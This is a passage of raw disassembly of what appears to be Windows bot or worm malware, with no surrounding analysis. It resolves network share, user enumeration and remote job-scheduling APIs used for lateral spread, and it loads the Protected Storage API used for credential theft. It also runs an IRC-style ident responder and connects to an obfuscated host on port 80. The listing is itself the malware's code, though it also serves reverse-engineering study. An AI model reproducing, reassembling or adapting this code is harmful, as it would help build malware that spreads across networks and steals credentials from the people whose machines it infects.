short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call ds:dword_417058 ; GetProcAddress mov dword_41DE40, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE48, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE4C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE50, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE5C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE60, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE64, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE68, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE6C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE70, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE74, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE78, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE84, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE88, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE8C, eax cmp dword_41DE84, 0 jz short loc_403D85 cmp dword_41DE88, 0 jz short loc_403D85 cmp dword_41DE8C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE84, offset loc_403588 mov dword_41DE88, offset loc_4038BA mov dword_41DE8C, offset loc_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call ds:dword_417058 ; GetProcAddress mov dword_41DE80, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call ds:dword_417058 ; GetProcAddress mov dword_41DE7C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; --------------------------------------------------------------------------- loc_403DF3: ; DATA XREF: sub_403FE5+89o push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push dword ptr [ebp+8] lea eax, [ebp-11B0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-11ACh] push eax call sub_4046BC pop ecx pop ecx mov [ebp-11B4h], eax cmp dword ptr [ebp-11B4h], 0 jnz short loc_403E52 push dword ptr [ebp-11B0h] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: .text:00403E3Dj lea eax, [ebp-11ACh] push eax mov eax, [ebp-11B0h] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp-11A6h] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: .text:00403EB0j ; .text:00403F02j ... push 3E8h push dword ptr [ebp-11B4h] call sub_4048EF pop ecx pop ecx mov [ebp-11B8h], eax mov eax, [ebp-11B0h] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp dword ptr [ebp-11B8h], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: .text:00403E97j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: .text:00403EA0j cmp dword ptr [ebp-11B8h], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: .text:00403EAEj push 1000h lea eax, [ebp-1000h] push eax push dword ptr [ebp-11B8h] call sub_4053DC add esp, 0Ch mov [ebp-1228h], eax cmp dword ptr [ebp-1228h], 0 jz short loc_403EF6 cmp dword ptr [ebp-1228h], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp-1000h] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: .text:00403ED9j ; .text:00403EE2j push dword ptr [ebp-11B8h] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: .text:00403EF4j movsx eax, byte_41EEC8 test eax, eax jz short loc_403F27 push offset byte_41EEC8 lea eax, [ebp-1224h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: .text:00403F10j lea eax, [ebp-1200h] push eax lea eax, [ebp-1224h] push eax lea eax, [ebp-11DCh] push eax call sub_40668F add esp, 0Ch lea eax, [ebp-1224h] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: .text:00403F25j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp-1224h] push eax lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp-1000h] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp-1000h] push eax push dword ptr [ebp-11B8h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-11B8h] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: .text:loc_403EA2j push dword ptr [ebp-11B4h] call sub_404CBB pop ecx push dword ptr [ebp-11B0h] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: .text:00403E4Dj leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset loc_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: .text:00405D57p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: .text:00405D37p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset a127_ ; "127." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset a172_ ; "172." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset a192_168_ ; "192.168." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset a10_ ; "10." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: .text:00402C38p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; .text:00408CC7p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; .text:00413696p ... push ebp mov ebp, esp cmp dword_41E294, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E298 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E294 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E298 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call ds:dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: .text:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset a1 ; "::1" call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: .text:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset aXsUlsbNP ; "•‘Àž«˜¡Ð¾°¶" lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: .text:0040755Bp ; .text:004075C3p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; .text:00411E2Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: .text:0040740Ap ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: .text:004133C4p ; .text:004161BFp var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: .text:00414541p ; .text:00416173p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE8C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: .text:004021E6p ; .text:00403E29p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short 